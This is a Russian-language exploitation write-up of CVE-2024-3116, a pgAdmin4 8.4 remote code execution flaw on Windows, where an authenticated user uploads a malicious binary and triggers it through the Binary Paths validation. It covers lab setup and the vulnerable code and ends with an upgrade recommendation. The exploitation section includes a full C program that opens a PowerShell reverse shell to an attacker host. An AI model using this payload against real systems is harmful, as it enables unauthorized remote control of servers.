pgAdmin4 CVE-2024-3116
22 апреля была зарегистрирована уязвимость CVE-2024-3116, получившая 7.4 баллов по CVSS. Эта уязвимость приводит к удаленному выполнению кода в серверной версии pgAdmin4 ≤ 8.4 на системах Windows.
pgAdmin4 - это графический инструмент, предназначенный для администрирования баз данных PostgreSQL. Он поддерживает работу в двух режимах - desktop и server.
Для эксплуатации этой уязвимости необходимо обладать валидными учетными данными.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Сегодня в данной статье мы подготовим стенд и разберем детали этой уязвимости.
Подготовка стенда
Для демонстрации уязвимости был использован pgAdmin4 версии 8.4.
Перед установкой необходимо установить python3 (желательно использовать версию 3.7), postgresql, nodejs и yarn.
Для начала необходимо скачать архив с этой версией с официального репозитория в GitHub по следующей ссылке.
После распаковки архива необходимо перейти в папку репозиторий и установить библиотеки для python:
pip install -r requirements.txt
Далее необходимо перейти в каталог web и установить фронтенд-компоненты:
yarn install yarn run bundle
После этого необходимо создать файл config_local.py
со следующим содержимым:
from config import * STORAGE_DIR = r'C:\Temp' # папка, куда будут сохраняться файлы, можно указать любую # Debug mode DEBUG = True # App mode SERVER_MODE = True # Log CONSOLE_LOG_LEVEL = DEBUG FILE_LOG_LEVEL = DEBUG DEFAULT_SERVER = '0.0.0.0' # можем указать адрес из любого интерфейса UPGRADE_CHECK_ENABLED = True # Use a different config DB for each server mode. if SERVER_MODE == False: SQLITE_PATH = os.path.join( DATA_DIR, 'pgadmin4-desktop.db' ) else: SQLITE_PATH = os.path.join( DATA_DIR, 'pgadmin4-server.db' )
Теперь остается запустить файл setup.py
и создать нового пользователя:
python setup.py add-user --admin EMAIL PASSWORD
После этого можно запустить файл pgAdmin.py
:
python pgAdmi4n.py
Теперь на порту 5050
должна быть доступна веб-версия:
Разбор уязвимости
pgAdmin4 позволяет загружать файлы в свое хранилище, уязвимость хранится именно здесь. Для этого необходимо залогиниться в веб-форме, перейти в вкладку Tools → Storage Manager
:
После этого появится окно, где можно загрузить файл:
Если взглянуть на запрос для загрузки файла, мы можем увидеть по какому пути сохранился наш файл:
Этот файл должен появится в указанной директории на целевой машине:
Как это можно проэксплуатировать? В pgAdmin4 есть интересная возможность указать путь к утилитам для работы с postgres, например psql, pg_dump, pg_dumpall, pg_restore
. Это можно сделать перейдя в раздел File → Preferences → Binary Paths
:
Попробуем указать известную нам директорию из предыдущего запроса и нажмем на кнопку с галкой. Посмотрим на запрос:
Найдем в исходном коде функцию, отвечающую за обработку этого запроса:
Видим, что цикл пробегается по файлам в указанной директории и передает их далее в функцию get_binary_path_version
. Эта функция выглядит следующим образом:
Сначала идет проверка, входит ли имя файла в массив UTILITIES_ARRAY
, в случае истины запускается файл с флагом --version
, а функция возвращает результат. Именно здесь кроется уязвимость, которую мы можем проэксплуатировать, загрузив в хранилище наш исполняемый файл с любым названием из массива UTILITIES_ARRAY
.
В файле с константами можно увидеть из чего состоит этот массив: UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
Подготовка нагрузки
Для начала нам необходимо создать исполняемый файл с обратным шеллом. Сделать это можно либо с помощью msfvenom
:
Либо руками скомпилировать C-файл через mingw
:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { if (argc > 1 && strcmp(argv[1], "--version") == 0) { system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""); } else { printf("Usage: %s --version\n", argv[0]); } return 0; }
После нажатия кнопки валидации этого бинаря в настройках, мы можем получить обратный шелл:
Подобная уязвимость не сработает на Linux, так как при загрузке файла в хранилище, он сохранится без прав на выполнение.
Заключение
Сегодня мы с вами рассмотрели уязвимость удаленного выполнения кода в pgAdmin4. При желании можно автоматизировать эксплуатацию, написав скрипт с аутентификацией, загрузкой файла и его валидацией.
Если вы используете pgAdmin4 в серверном моде, рекомендуется обновиться до последней версии, чтобы избежать возможной эксплуатации со стороны злоумышленников.